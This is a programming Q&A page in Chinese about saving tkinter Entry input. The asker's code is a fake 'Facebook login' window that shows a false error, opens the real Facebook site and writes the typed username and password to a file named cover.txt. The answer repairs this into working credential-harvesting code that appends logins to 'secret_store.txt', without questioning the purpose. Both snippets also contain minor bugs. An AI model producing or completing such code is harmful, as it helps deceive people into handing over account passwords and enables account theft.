如何在tkinter python中保存从条目小部件输入的数据

时间:2018-05-17 04:56:29

标签: python tkinter

我编写了一个代码并希望保存输入的数据但显示错误

from tkinter import*
from tkinter import messagebox
import webbrowser
win= Tk()
win.title("Facebook login")
lbl=Label(win, text="Please enter your login and password")
lbl.grid(column=5,row=3)
uid=Entry(win,width=30)
pas=Entry(win,width=30)
uid.grid(column=3,row=6)
pas.grid(column=3,row=9)
def click():
messagebox.showinfo('Error ','The following data could not be transferred 
\nPlease login again from the page opening now')
def kill():
    win.destroy()
button1=Button(win,text="Login",command=click)

button1.grid(column=7,row=11)

win.mainloop()

webbrowser.open('https://www.facebook.com/')
id=uid.get()
ps=pas.get()
file=open('D:\\cover.txt','w+')
file.write("username:\t"+win)
file.write("password:\t"+id)

如何将tk()转换为字符串或任何其他数据类型,以便我可以存储它 谢谢

1 个答案:

答案 0 :(得分:1)

以下是将数据存储在文件中的简化示例(数据附加在文件的末尾)

import tkinter as tk


def save_to_file(filename, name='', pw=''):
    with open(filename, 'a') as f:   # 'a' to append to the file, 'r' to overwrite the file
        f.write(name + ', ')
        f.write(pw + '\n')


def login():
    name = uid.get()
    pw = pas.get()
    print('logging in as {uid}, {pw}')
    save_to_file('secret_store.txt', name=name, pw=pw)


if __name__ == '__main__':

    win = tk.Tk()
    win.title("Facebook login")

    lbl = tk.Label(win, text="Please enter your login and password")
    lbl.grid(column=5,row=3)

    uid = tk.Entry(win, width=30)
    pas = tk.Entry(win,width=30)
    uid.grid(column=3,row=6)
    pas.grid(column=3,row=9)

    button1 = tk.Button(win, text="Login", command=login)

    button1.grid(column=7, row=11)

    win.mainloop()